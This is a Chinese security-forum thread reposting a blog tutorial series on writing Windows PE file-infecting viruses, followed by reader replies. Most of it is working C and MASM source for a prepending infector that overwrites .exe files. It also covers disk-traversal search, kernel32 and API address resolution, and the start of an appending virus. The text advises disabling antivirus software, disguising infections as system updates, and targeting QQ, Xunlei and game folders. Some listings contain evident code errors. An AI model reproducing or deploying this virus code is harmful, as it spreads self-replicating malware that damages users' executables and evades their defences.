首页
论坛
课程
招聘

PE病毒学习(一、二、三、四、五、六、七、八)

2010-10-23 18:53 48896

PE病毒学习(一、二、三、四、五、六、七、八)

2010-10-23 18:53
48896
欢迎来我的主页http://blog.csdn.net/yangbostar/

历史上,在windows95发布后,用高级语言编写的外壳病毒,经过简单地改造编译,就能从DOS平台迁移到windows平台上。

并且在这当中很多“前置病毒”,仅仅需要重新编译。

另外之所以用“前置病毒”作为第一分析样本,理由如下:

1.它具有基本病毒功能模块,这些模块在文件型病毒中是通用的

2.其框架结构,所需病毒技巧极少

3.拓展方便,通过不断地加入新功能,循序渐进的学习各种病毒技巧

4.加载新模块方便,适合测试其它病毒的某些功能模块

文件型病毒至少有这四个模块:

1.条件模块:判断触发条件和寻找符合条件的宿主文件

2.破坏模块:

3.感染模块:

4.宿主程序引导模块:将病毒的控制权移交给所触发病毒文件的宿主程序

样例:

1.条件模块:

   功能:搜索病毒文件所在目录中,规定数目的exe文件

//打开符合条件的文件

HANDLE OpenHostFile(const WIN32_FIND_DATA *pHost,DWORD *nCount)
{
HANDLE hHost=CreateFile(pHost->cFileName,
       GENERIC_READ|GENERIC_WRITE,
       FILE_SHARE_READ|FILE_SHARE_WRITE,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
if(hHost!=INVALID_HANDLE_VALUE)
  (*nCount)++;
return hHost;
}

//搜索函数
DWORD FindHostFile(HANDLE *szHostFileHandle,DWORD dwFindNumber)
{
DWORD dwResult=0;
WIN32_FIND_DATA fd;
HANDLE hFirst=FindFirstFile(_T("*.exe"),&fd);
szHostFileHandle[0]=OpenHostFile(&fd,&dwResult);
while(dwResult<dwFindNumber)
{
  DWORD dwTemp=dwResult;
  if(FindNextFile(hFirst,&fd))
  {
   HANDLE hTemp=OpenHostFile(&fd,&dwResult);
   if(INVALID_HANDLE_VALUE!=hTemp)
    szHostFileHandle[dwTemp]=hTemp;
  }
  else
   break;
}
return dwResult;
}

2.感染模块:

   功能:将病毒文件注入宿主文件,将原宿主文件向后移动

//定义病毒大小,使用全局变量是因为其它模块也要用到,53248是代码在VC2005  Debug模式下的生成文件大小,但并非都是这样,请自行确定,如果大小错误,那么感染后的文件运行会出错。

DWORD dwVirusSize=40960;
//感染模块
void Infect(HANDLE hHostFile,HANDLE hLocalFile)
{

DWORD dwHostSize=GetFileSize(hHostFile,0);
DWORD dwReadSize=0;
DWORD dwWriteSize=0;

char *pLocalTempBuf=(char*)malloc(sizeof(char)*dwVirusSize);
char *pHostTempBuf=(char*)malloc(sizeof(char)*dwHostSize);
ReadFile(hLocalFile,pLocalTempBuf,dwVirusSize,&dwReadSize,NULL);
ReadFile(hHostFile,pHostTempBuf,dwHostSize,&dwReadSize,NULL);

SetFilePointer(hHostFile,0,0,FILE_BEGIN);
WriteFile(hHostFile,pLocalTempBuf,dwVirusSize,&dwWriteSize,NULL);
WriteFile(hHostFile,pHostTempBuf,dwHostSize,&dwWriteSize,NULL);

//清理工作
SetFilePointer(hLocalFile,0,0,FILE_BEGIN);
free(pLocalTempBuf);
free(pHostTempBuf);
}

3.破坏模块:

  功能:仅仅打印提示。
VOID Destory()
{
MessageBox(NULL,_T("我保证什么都不做"),_T("Test"),MB_OK);
}

4.宿主程序引导模块

   功能:创建临时文件,将所触发的病毒文件的宿主程序写入,然后启动

VOID JumpLocalHostFile(HANDLE hLocalFile)
{
DWORD nCount=0;
DWORD dwLocalFileSize=GetFileSize(hLocalFile,0);
if(dwLocalFileSize==dwVirusSize)
  return ;
char *pTemp=(char*)malloc(sizeof(char)*(dwLocalFileSize-dwVirusSize));
ReadFile(hLocalFile,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);

TCHAR szLocalPath[MAX_PATH];
TCHAR szTempPath[MAX_PATH];
TCHAR szTempName[50];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
GetTempPath(MAX_PATH,szTempPath);
GetFileTitle(szLocalPath,szTempName,50);
wcscat(szTempPath,szTempName);
HANDLE hJumpHost=CreateFile(szTempPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_NEW,NULL,NULL);
if(hJumpHost==INVALID_HANDLE_VALUE)
  return ;
WriteFile(hJumpHost,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);
free(pTemp);
CloseHandle(hJumpHost);

PROCESS_INFORMATION information;
STARTUPINFO si = {sizeof(si)};

if(CreateProcess(szTempPath,NULL,
      NULL,NULL,
      FALSE,NORMAL_PRIORITY_CLASS,
      NULL,NULL,
      &si,&information))
{
  WaitForSingleObject(information.hProcess,INFINITE);
  DeleteFile(szTempPath);
}

}

5.程序入口

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Commdlg.h>
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
TCHAR szLocalPath[MAX_PATH];
GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
HANDLE hLocalFileHandle=CreateFile(szLocalPath,
       GENERIC_READ,
       FILE_SHARE_READ,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
HANDLE szHostHandle[3];
DWORD dwFoundFileNumber=FindHostFile(szHostHandle,3);
Destory();

for(DWORD i=0;i<dwFoundFileNumber;i++)
{
  Infect(szHostHandle[i],hLocalFileHandle);
  CloseHandle(szHostHandle[i]);
}

JumpLocalHostFile(hLocalFileHandle);
CloseHandle(hLocalFileHandle);
return 0;
}

后面几章,我们将逐渐优化这段代码,加入新功能,来学习病毒技巧,为将来的PE病毒打基础

[推荐]看雪工具下载站,全新登场!(Android、Web、漏洞分析还未更新)

最新回复 (57)
whypro 2010-10-23 18:56
2
0
貌似应用病毒!
yangbostar 4 2010-10-23 19:05
3
0
没错,这是我的第一个作品,那时我还什么都不会,受Dos前置病毒启发,写的
yangbostar 4 2010-10-23 19:19
4
0
在上一章中的“前置病毒”中,由于它只是一个测试病毒,因此该病毒只是搜索病毒文件所在文件夹的exe文件。

显然,为了让它具有更好传染性,能够历遍整个磁盘或某些重要文件夹的特性,是十分重要的。

开始讨论历遍之前,先让我们来改进原来的代码

首先在上一章的代码中,只要结尾是“.exe”的文件就被判断为"可执行程序",这种方法在大多数情况下是正确的,但是如果程序经过压缩或加密后,该文件的PE结构会有改变,虽然它实际上让然能履行可执行程序的功能,但针对PE文件的操作可能出错。因此,确定.exe后缀之后,做更加详细的文件类型检查很多时是必要的,参考代码如下:

************************************************************************/  

/* 函数说明:判断文件是否是可执行文件

/* 参    数: hFile 文件句柄

/* 返 回 值:是可执行文件返回真,否则返回假

BOOL IsExeFile(HANDLE hFile)
{
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS32 ntHeader;
DWORD nCount;

BOOL bResult=FALSE;
ReadFile(hFile, &dosHeader, sizeof(dosHeader),&nCount, NULL);

//dos头检查
if(nCount== sizeof(dosHeader))
   if(dosHeader.e_magic == IMAGE_DOS_SIGNATURE) // 是不是有效的DOS 头?
     if(SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) != -1)

       {

//NT头检查

         ReadFile(hFile, &ntHeader, sizeof(ntHeader), &nCount, NULL);
         if(nCount == sizeof(ntHeader))
            if(ntHeader.Signature == IMAGE_NT_SIGNATURE) // 是不是有效的NT 头
               if(ntHeader.FileHeader.Characteristics&IMAGE_FILE_EXECUTABLE_IMAGE)//Characteristics也可判断

                                                                                                                                 //其他类型PE文件

                   bResult=TRUE;

       }
  SetFilePointer(hFile, 0, NULL, FILE_BEGIN)

  return bResult;

}

好嘞,终于进入正题,让我们谈谈历遍磁盘或目录的问题。

先说说好的病毒设计对历遍磁盘的设计要求:

        1、避免对系统冲击过大:历遍磁盘对系统冲击相当大,并且有可能多个病毒同时开启,如果搜索时间较长,应该适当挂起程序,

                                           将时间片还给系统

        2、最好限制搜索文件数量和范围:不要试图感染本机所有文件,这样只能是病毒和系统一起完蛋;感染系统文件虽然十分有用,

                                                       在有保护的情况下,非常容易被杀毒软件发现。

        3、搜索速度要快:很多时候,不能单独开启新进程执行正常程序,因此正常程序不得不等待病毒程序完毕

解决方方案:

        方案一:如果能干掉杀毒软件的话,将关键目录目标文件和一般目录结合搜索,能取得不错效果

        方案二:如果你为人低调的话,通过伪装或隐藏,比如模拟系统更新来注入到关键目录中

        方案三:没有办法也是办法,搜索普通目录,比如迅雷、qq、一些网游也是不错的选择

不管你选择哪种方法,这里给出一个文件树搜索参考代码:

************************************************************************/  

/* 函数说明:历遍该路径下的可执行文件

/* 参    数:Top   文件路径   int nCount 搜索符合要求文件的最大数目  pFileHandle 将找到的符合要求文件句柄储存在这里

/* 返 回 值:找到符合要求文件的数目  

int SearchHostFile(TCHAR* Top,int nCount,PHANDLE  szFileHandle)

{

  static  int  nResult=0;

  WIN32_FIND_DATA fd;
  HANDLE szFileHandle[nResult] = FindFirstFile(Top,&fd);
  if(szFileHandle[nResult]!=INVALID_HANDLE_VALUE)

  {

    if(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
       SearchHostFile(fd.cFileName,nCount,szFileHandle);

    else

       {

          while(nResult<nCount)

          {

             if(IsExeFile(szFileHandle[nResult]))

               nResult++;

             FindNextFile(szFileHandle[nResult],&fd);

             if(szFileHandle[nResult]==INVALID_HANDLE_VALUE)

                break;

             sleep(0);

          }

       }     

   }

   return nResult;

}

以上纯属个人观点,由于本人能力有限,如有错误,请你指正,希望大家常来常往,互相交流

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/09/19/5894360.aspx
yangbostar 4 2010-10-23 19:23
5
0
对PE文件结构的各个值定义和作用,这里不提了,网上资源很多,百度一下就好了。所以,本章只说一下,作为代码编写者对PE文件结构操作的方法和技巧。

还是通过改进代码,来体会一下吧。

  你应该记得前面的BOOL IsPEFile(HANDLE hFIle) 这个函数吧,它的作用是判断文件是否为PE格式文件。它把文件句柄作为参数,虽然许多函数需要文件句柄这个参数,但是作为对PE文件结构操作的函数,这样做是不恰当的,因为如果这样做就要频繁的使用SetFilePointer()、ReadFile()、WriteFile()。假若以文件指针作为参数,那么这一类关于PE结构文件操作的代码,将大大简化。

举例:

BOOL IsPEFile(LPVOID ImageBase)

{

  PIMAGE_DOS_HEADER pDosHeader=NULL;

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

//指针安全检查

  if(!ImageBase)

    return FALSE;

//dos头检查

  pDosHeader=(PIMAGE_DOS_HEADER)ImageBase;

  if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)

    return FALSE;

//NT文件头检查

  pNtHeaders=(PIMAGE_NT_HEADERS32)pDosHeader->e_lfanew;

  if(pNtHeaders->Signauture!=IMAGE_NT_SIGNATURE)

    return FALSE;

  return TRUE;

}

当然为了使文件以指针传入,需要将其映射到内存中,并且由于许多函数需要文件句柄,所以原来的HANDLE OpenHostFile()需要改造。

typedef struct PEFileInformation//用这个名字是因为将来还要添加其他成员

{

  HANDLE hFile;

  HANLDE hMap;

  LPVOID ImageBase;

}INFORMATION_PE_FILE,*PINFORMATION_PE_FILE;

PINFORMATION_PE_FILE OpenHostFile(PINFORMATION_PE_FILE pFile,\

                                                              const WIN32_FIND_DATA *pHost,\

                                                              DWORD *nCount)
{
  pFile.hFile=CreateFile(pHost->cFileName,
       GENERIC_READ|GENERIC_WRITE,
       FILE_SHARE_READ|FILE_SHARE_WRITE,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
if(pFile.hFile!=INVALID_HANDLE_VALUE)

{

   pFile.hMap=CreateFileMapping(pFile.hFile,NULL,PAGE_READONLY,0,0,NULL);

   pFile.ImageBase=MapViewOfFile(pFile.hMap,FILE_MAP_WRITE |FILE_MAP_READ,\

                                                       0,0,0,0);
   if(pFile.ImageBase!=NULL)

     (*nCount)++;

   else

     return NULL;

}

else

   return NULL;
return pFile;
}

OK,估计真正你已经了解PE文件结构操作的方法,即以DOS头为起点,逐步通过指针偏移,扫描PE结构,以下是一些获取常用PE结构参考代码

//获取NT文件头

PIMAGE_NT_HEADERS32 GetNtHeaders(LPVOID ImageBase)

{

  PIMAGE_DOS_HEADER pDosHeader=NULL;

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

  if(!ImageBase)

    return NULL;

  

  pDosHeader=(PIMAGE_DOS_HEADER)ImageBase;

  pNtHeaders=(PIMAGE_NT_HEADERS32)pDosHeader->e_lfanew;

  return  pNtHeaders;

}

//获取PE可选文件头

PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPVOID ImageBase)

{

  PIMAGE_NT_HEADERS32 pNtHeaders=NULL;

  pNtHeaders=GetNtHeaders(ImageBase);

  if(!pNtHeader)

     return NULL;

  else

     return &pNtHeaders->Header;

}

//获得区块表指针

PIMAGE_SECTION_HEADER GetSectionHeader(LPVOID ImageBase)

{

  return (PIMAGE_SECTION_HEADER)(GetOptionalHeader(ImageBase)+sizeof(IMAGE_OPTIONAL_HEADER));

}

PE结构上还要许多重要的位置,用的时候以上面的函数为基点,编写自己的函数吧

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/06/5924323.aspx
yangbostar 4 2010-10-23 19:25
6
0
1.为何需要重定位?

病毒的生存空间就是宿主程序,而因为宿主程序的不同。所以病毒每次插入到宿主程序中的位置也不同。那么病毒需要用到的变量的位置就无法确定。所以这就是病毒首先要重定位的原因。在我们编写程序的时候,所用到的变量的位置都是相对与程序某一个位置的偏移,正常的程序加载的地址是唯一的,所以它们不需要重定位。而病毒的加载是随机的所以就有了重定位的过程。虽然加载的位置不一定,但是变量到某一个位置的偏移却是固定的。所以重定位的基本原理就是找到这个特殊的位置。具体的方法有很多种。这里说几种常见的。

前面介绍的“前置病毒”根本不需要重定位的,因为病毒写在病毒文件最前面,所以它的相对偏移和绝对偏移是相等的。

然而,从本章开始,我们要为名为“追加病毒”的病毒,做技术积累。因为该病毒将病毒体追加到病毒文件尾,它的相对偏移和绝对偏移显然是不相等的。

2.常见的重定位错误写法

call Entry

Entry:

pop ebp

sub ebp,offset Entry

mov ImagePosition,ebp

   其实这是一些关于计算机病毒教科书的故意错写的方法,,然而相当多的人不亲自动手实践,人云亦云,造成迄今为止大量的错误代码的出现,和病毒编写入门困难。

3.重定位正确写法和变体

start0:

...

start:

call Entry

...

Entry:

pop eax ;也可以用MOV EXX,[ESP]代替pop eax取出栈顶的内容

sub eax,5 ;减5是定位start的位置,如果定位start0的位置可写为sub eax,offset start- offset start0

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/07/5925648.aspx
yangbostar 4 2010-10-23 19:32
7
0
由于大部分的文件感染型病毒框架都不可以像“前置病毒”那样拥有自己的输入表,因此需要自行定位API

说一千道一万,想要定位API,大方向是要定位Kernel32.dll的基地址。

总结所以这些方法,可以分为是五个小方向,它们又产生很多变种。

一、定位kernel32.dll基地址的方法

(1)硬编码方式

    由于kernel32.dll的基地址在相同版本windows下,基本上它的位置是固定的。这种方法在早期的PE病毒中很常见,现在已经很少使用了。

(2)利用程序初始化时,首先寄存器或堆栈中保留的kernel32.dll内存模块中的某个地址,之后无论哪种变体,都是以这个kernel内的地址向前搜索,找到kernel.dll的基地址。

以下地方就存储着这些地址:  

                                     ①寄存器EDI

                                     ②刚刚初始化的堆栈:[esp]、[esp+4H]、[esp+10H]

以[esp+10h]为例,我们看一下参考代码(另外注释里有一些常见错误代码的写法):

Start:  

  mov edx,[esp+10h]
SearchDosHeader:
  dec  edx
  xor  dx,dx                       ;加速搜索,因为DLL以1M长度对齐,所以这里以64K字节为跨度来加速搜索
  cmp word ptr[edx],'ZM'  ;不要自作聪明写成'MZ',那是以字节逐个读取的结果

                                        ;,这里是以双字节读取的,'Z'在高位,'M'在低位,因此写为'ZM'
  jnz SearchDosHeader

IsNTHeaders:
  mov eax,[edx+3ch]        ;这里也不要写为[edx+IMAGE_NT_HEADERS32.Signatrue],这样不会得到想要的结果
  cmp word ptr [eax+edx],'EP' ;和'ZM'是一个道理
  jnz  SearchDosHeader

  mov KernelImageBase,edx  ;KernelImageBase是自定义局部变量,可以放在堆栈里

  ret
end Start

(3)遍历seh异常链,然后获得EXCEPTION_REGISTRATION结构prev为-1的异常处理过程地址,这个异常处理过程地址是位于kernel32.dll中,通过它向前搜索得到kernel32.dll的基地址。

以下是参考代码:

Start:

assume fs:nothing     ;Masm默认是不使用fs寄存器的,写上这句话才能使用
  mov edx,[fs:0]         ;获得EXCEPTION_REGISTRATION 结构地址
Next:
  inc   dword ptr [edx];将prev 成员 + 1,判断是否为零,然后恢复
  jz     Kml
  dec  dword ptr [edx]
  mov edx,[edx]
  jmp  Next

Kml:
  dec  dword ptr [edx];恢复 -1
  mov edx,[edx+4]

SearchDosHeader:
  dec  edx
  xor  dx,dx
  cmp word ptr[edx],'ZM'
  jnz SearchDosHeader

IsNTHeaders:
  mov eax,[edx+3ch]
  cmp word ptr [eax+edx],'EP'
  jnz SearchDosHeader

  mov KernelImageBase,edx

  ret

end Start

(4)通过TEB获得PEB结构地址,然后再获得PEB_LDR_DATA 结构地址,然后遍历模块列表,查找kernel32.dll 模块的基地址。

Start:

assume fs:nothing

  mov edx, [fs:30h]    ;Get Peb
  mov edx, [edx+0ch] ;Get _PEB_LDR_DATA

  mov edx, [edx+1ch] ;Get InInitializationOrderModuleList.Flink, 此时eax 指向的是ntdll 模块的
                                ;InInitializationOrderModuleList 线性地址。所以我们获得它的下一个则是kernel32.dll
  mov edx, [edx]
  mov edx, [edx+8]    ; 8 = sizeof.LIST_ENTRY

  mov KernelImageBase,edx

  ret

end Start

(5)一个正常的程序的输入表都会加载Kernel32.dll,所以通过搜索宿主本身的输入表,再找到Kernel32.dll,然后搜索它基地址。但是这个方法缺点首先是代码长度比较长,并且病毒首次编译后,其本身输入表不加载Kernel32.dll,需要手工抽取代码,然后绑定到宿主程序上,这样病毒才算真正完成。

步骤:

1.找到本程序的PE头文件,方法有三种:①利用默认文件内存加载点400000h

                                                       ②利用进程初始化堆栈的[esp+34h]保存的程序入口点,向前找到问PE文件头

                                                       ③重定位当前点,向前搜索

2.再找到输入表、进而找到Kernel32.dll,代码就不写了,一点也不难

3.手工绑定,具体步骤请参考《Windows应用程序捆绑核心编程》(张正秋著)第一版的第11章。

二、通过自己实现的GetProcAddress定位API

   在Kernel32.dll中有GetProcAddress这个函数,它可以通过函数名定位函数入口地址。可是由于不知道GetProcAddress的地址,只好由我们自己实现,以下代码可供参考,如果对PE结构了解十分清楚,那么代码是很容易读懂的。

My_Get_API_Address proc Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
  mov ebx,Base
  mov eax,[ebx+3ch]
  mov eax,[ebx+eax+78h]
  add eax,ebx
;取出输出表中一些有用的值   
  mov  ebx,[eax+18h]
  mov  NumberOfName,ebx
  mov  ebx,[eax+1ch]
  add  ebx,Base
  mov  AddressOfFunctions,ebx
  mov  ebx,[eax+20h]
  add  ebx,Base
  mov  AddressOfNames,ebx
  mov  ebx,[eax+24h]
  add  ebx,Base
  mov  AddressOfOrdinarls,ebx
;根据函数名找出函数ID
  xor eax,eax
  mov edi,AddressOfNames
  mov ecx,NumberOfName
  
  LoopNumberOfName:
        mov esi,sFunctionName
        push eax
        mov ebx,[edi]
        add ebx,Base
        Match_API:
         mov al,byte ptr[ebx]
         cmp al,[esi]
         jnz Not_Match
         or al,0h
         jz GetKernel_API_Index_Found
         inc ebx
         inc esi
         jmp Match_API
        Not_Match:
        pop eax
        inc eax
        add edi,4h
  loop LoopNumberOfName
GetKernel_API_Index_Found:
  pop eax  
;用函数ID找出函数入口地址  
Get_API_Address:  
  mov ebx,AddressOfOrdinarls
  movzx eax,word ptr[ebx+eax*2]
  imul eax,4h
  add  eax,AddressOfFunctions
  mov  eax,[eax]
  add  eax,Base
  ret
My_Get_API_Address endp

OK,既然已经有了自己编写的GetProcAddress,那么我们就可以通过它定位Kernel32.DLL里的正牌GetProcAddress和LoadLibraryA。

不过小陈告诉另一个方法,GetProcAddress和LoadLibraryA都可以不必定位,其中GetProcAddress可以使用自己编写了,自然可以不必定位。至于LoadLibrary返回的动态链接库DLL模块句柄,实际上就是动态链接库的基地址,虽然由于我们现在只有Kernel32.dll的基地址,如果想定位其他动态链接库,只有搜索宿主文件是否加载了相应的动态链接库,如果没有,也可修改它的PE文件头,让它在启动时加载该动态链接库,然后仿照搜索Kernel32.dll类似的方法,确定其入口地址,即模块句柄。

终于完成这章了,好幸福!关于动态重定位API方法肯定不止这些方法,比如“三、通过API的名称来定位API的地址”这个标题下应该不止一种方法,学海无涯啊。再次欢迎有好方法的高手,不吝赐教,帮助我不断更新这篇文章。

这里感谢pencil 和小陈,pencil提醒了我应该仿写GetProcAddress,小陈告诉了我,替代LoadLibraryA的实现方法。

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/08/5928365.aspx
StudyRush 3 2010-10-23 23:52
8
0
我想问问楼主是在哪些书上学习的。
Droot 2010-10-24 07:38
9
0
楼主可以提供个PDF文件格式的学习资料吗?
cntrump 13 2010-10-24 10:47
10
0
自己转自己的blog
数据逆向的第4章以后的文章都删了?
yangbostar 4 2010-10-24 11:39
11
0
我是业余时间搞计算机的,数据逆向的博文没时间写,现在主要精力都用在“PE病毒学习”这个系列里了,而且这个系列还有很多后续文章要写,所以关于数据逆向的文章,恐怕得很久以后才能更新了。
pencil 5 2010-10-25 14:37
12
0
甚至有连LoadLibrary和GetprocAddress这两个函数都不定位,却能重定位其他API的方法


自己实现。。。
rokey 2010-10-25 14:54
13
0
不知道是什么类型的
hzactivex 2010-10-25 14:56
14
0
收藏!!有空学习下,顶顶!!!!!!
jiangming 2010-10-25 18:17
15
0
帮你顶顶……
yangbostar 4 2010-10-26 10:41
16
0
GetProcAddress我倒是能实现,但是关于LoadLibraryA的实现,我不会啊。你有什么方法吗?
yangbostar 4 2010-10-27 11:26
17
0
OK,兑现我的承诺,从本章开始讲述“追加病毒”的编写方法。我们将实现一个只弹出对话框的良性病毒,但是考虑到这个代码可能造成的危害,我会在感染模块中写入一个小Bug。不过,对于大家的学习是毫无影响的。

  回到正题,先介绍一下“追加病毒”,在DOS时代中,这种病毒相当常见。由于.com文件的入口点是固定的,而且我们知道DOS平台程序可以随意使用中断,因此追加病毒只要将病毒代码追加到宿主文件尾,然后修改入口点代码成“jmp [病毒入口点]”,病毒执行完成后,再jmp到宿主程序。

  到了win32平台下,这种方法是不行滴。首先由于win32下,应用程序不能使用中断,取而代之的是API,但是常用宿主文件的PE文件格式只会为宿主文件本身配置API,病毒代码是不能直接得到的。其次将病毒代码追加到文件尾,如果不修改宿主文件的PE头,病毒可能不被加载到内存中。还有DOS追加病毒就存在的数据重定位问题,那么看看下面我们如何解决这些问题呢?

一.先看一下主模块——Main.asm

.386
.model flat, stdcall
option casemap:none
include windows.inc ;虽然不会调用这里的函数,但是其中的常量还是用的,比如INVILID
include My_Marco.asm ;自定义的一些宏,里边内容用的时候我再说

.code
Start:
  main proc
;主模块分成五个子模块
  Include Data_and_Locate.asm
   Include ReLocate_API.asm
   Include Infect.asm
   Include Destory.asm
   Include Cleanup_and_jmp.asm
  ret
main endp
include My_Function.asm;这个里边放着一些调用函数,比如是上一篇中的My_Get_API_Address
VirusSize=$-Start ;病毒长度

end Start

  

二.局部变量和只读数据以及只读数据重定位模块——Data_and_Locate.asm

;首先声明main proc的局部变量

LOCAL Kernel32Base:dword
LOCAL Kernel32NumberOfName:dword
LOCAL Kernel32AddressOfFunctions:dword
LOCAL Kernel32AddressOfNames:dword
LOCAL Kernel32AddressOfOrdinarls:dword
LOCAL DataBase:dword
LOCAL HostFileSize:dword

LOCAL hKernel32DLL:HANDLE
LOCAL hUser32DLL:HANDLE
LOCAL hFindFirstFile:HANDLE

LOCAL szLocalFilePath[MAX_PATH]:byte

LOCAL stHostFile:PE_FileInformation
LOCAL stLocalFile:PE_FileInformation

LOCAL aLoadLibraryA:dword
LOCAL aGetProcAddress:dword
LOCAL aCreateFileA:dword
LOCAL aCreateFileMappingA:dword
LOCAL aMapViewOfFile:dword
LOCAL aFindFirstFileA:dword
LOCAL aFindNextFileA:dword
LOCAL aGetModuleFileNameA:dword
LOCAL aGetFileSize:dword
LOCAL aUnmapViewOfFile:dword
LOCAL aCloseHandle:dword
LOCAL aMessageBoxA:dword

LOCAL Temp:dword
LOCAL fd:WIN32_FIND_DATA
LOCAL NewSectionTable:dword
LOCAL Virus_OEP_File:dword
LOCAL Virus_OEP_Map:dword

;重定位数据,使得数据内嵌在代码节中,同时定位标记“Data:”的地址
call Relocation   
Data:

     sLoadLibraryA =$-Data ;该只读数据与Data的偏移
      byte  'LoadLibraryA',0 ;数据内容,可以看出这是一个C风格的字符串
      
    sGetProcAddress        =$-Data
             byte         'GetProcAddress',0
     
     sKernel32DLL        =$-Data
             byte        'Kernel32.dll',0
            
     sUser32DLL                =$-Data
             byte        'User32.dll',0
     
     sCreateFileA        =$-Data
             byte        'CreateFileA',0
     
     sCreateFileMappingA=$-Data
        byte        'CreateFileMappingA',0
     
     sMapViewOfFile        =$-Data
             byte        'MapViewOfFile',0
     
     sFindFirstFileA        =$-Data
             byte        'FindFirstFileA',0
            
     sFindFirstFileA_Param=$-Data
        byte        '*.exe',0
     
     sFindNextFileA        =$-Data
             byte        'FindNextFileA',0
            
     sGetModuleFileNameA=$-Data
             byte        'GetModuleFileNameA',0
     
     sUnmapViewOfFile        =$-Data
             byte        'UnmapViewOfFile',0
            
     sGetFileSize        =$-Data
        byte        'GetFileSize',0
            
     sCloseHandle        =$-Data
        byte        'CloseHandle',0
            
     sCaption                =$-Data
             byte        'The virus for testing',0
     
     sContext                =$-Data
             byte         'This is a additional virus',0
     
     sMessageBoxA        =$-Data
        byte        'MessageBoxA',0
     
     sNewSectionName        =$-Data
             byte        '.Virus',0,0  
     
     aOEP_HostFile        =$-Data
        dword        0h                    
  
Relocation:
  pop DataBase ;不但pop的值恰好是Data:的地址,call又巧妙地跳过数据块

三.API重定位模块——ReLocate_API.asm

;取得Kernel32.dll的基址
  assume fs:nothing
  mov eax, [fs:30h]
  mov eax, [eax+0ch]
  mov eax, [eax+1ch]
  mov eax, [eax]
  mov eax, [eax+8h]
  mov  Kernel32Base,eax

;利用LoadLibrary和GetProcAddress取得所需函数的地址
;这里使用了My_Marco.asm的宏
;PushData macro Base,OffsetAddress
;  mov eax,Base
;  add eax,OffsetAddress
;  push eax
;ENDM

  PushData DataBase,sLoadLibraryA
  push Kernel32Base  
  call My_Get_API_Address
  mov  aLoadLibraryA,eax ;得到函数LoadLibraryA的地址

  PushData DataBase,sGetProcAddress
  push Kernel32Base  
  call My_Get_API_Address
  mov  aGetProcAddress,eax ;得到函数GetProcAddress的地址

;利用LoadLibrary和GetProcAddress取得所需函数的地址

;这里使用了My_Marco.asm的宏

;Using_API_LoadLibraryA macro Value,Base,OffsetAddress
;  PushData Base,OffsetAddress
;  call aLoadLibraryA
;  mov Value,eax
;ENDM

;Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
;  PushData Base,OffsetAddress
;  Push hDLL
;  call aGetProcAddress
;  mov Value,eax
;ENDM
  Using_API_LoadLibraryA hKernel32DLL,DataBase,sKernel32DLL
  Using_API_LoadLibraryA hUser32DLL,DataBase,sUser32DLL

  Using_API_GetProcAddress aCreateFileA,DataBase,sCreateFileA,hKernel32DLL
  Using_API_GetProcAddress aCreateFileMappingA,DataBase,sCreateFileMappingA,hKernel32DLL
  Using_API_GetProcAddress aMapViewOfFile,DataBase,sMapViewOfFile,hKernel32DLL
  Using_API_GetProcAddress aFindFirstFileA,DataBase,sFindFirstFileA,hKernel32DLL
  Using_API_GetProcAddress aFindNextFileA,DataBase,sFindNextFileA,hKernel32DLL
  Using_API_GetProcAddress aGetModuleFileNameA,DataBase,sGetModuleFileNameA,hKernel32DLL
  Using_API_GetProcAddress aUnmapViewOfFile,DataBase,sUnmapViewOfFile,hKernel32DLL
  Using_API_GetProcAddress aCloseHandle,DataBase,sCloseHandle,hKernel32DLL
  Using_API_GetProcAddress aMessageBoxA,DataBase,sMessageBoxA,hUser32DLL  
  Using_API_GetProcAddress aGetFileSize,DataBase,sGetFileSize,hKernel32DLL
  
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/27/5968811.aspx
cntrump 13 2010-10-27 11:51
18
0
bug 不bug无所谓。要利用终究是挡不住的。
yangbostar 4 2010-10-27 12:06
19
0
至少能防止那些初学汇编的人,随便就能改出病毒,高手怎么防也是没用的
cntrump 13 2010-10-27 12:13
20
0
可以用这个帖子的方法给代码着色,效果不错的。

http://bbs.pediy.com/showthread.php?t=122236
cscncllf 2010-10-27 12:48
21
0
收藏!!有空学习下,顶顶
riusksk 41 2010-10-27 13:14
22
0
之前一直是使用 xTiNt 来高亮代码
flowons 2 2010-10-27 13:34
23
0
前排收藏,谢谢楼主。
dahaione 2010-10-27 16:25
24
0
如果搞驱动。这里判断的方法,是不是要改进下了?我试了下,有问题,这方法认了驱动好象。
acc 2010-10-28 15:05
25
0
确实是好东西哦
ufofind 2010-10-28 17:56
26
0
用老罗的win32asm两下子就搞定了
ufofind 2010-10-28 17:57
27
0
关键是要反调试与变形,加密,与。。。。的结合
yangbostar 4 2010-10-29 19:31
28
0
驱动?这是ring3的应用程序病毒,编译通不过是因为还有“追加病毒编写(下)”,代码还没发全呢
AntBean 9 2010-10-29 20:29
29
0
这里需要重定位API不是因为没有自己的输入表吧?
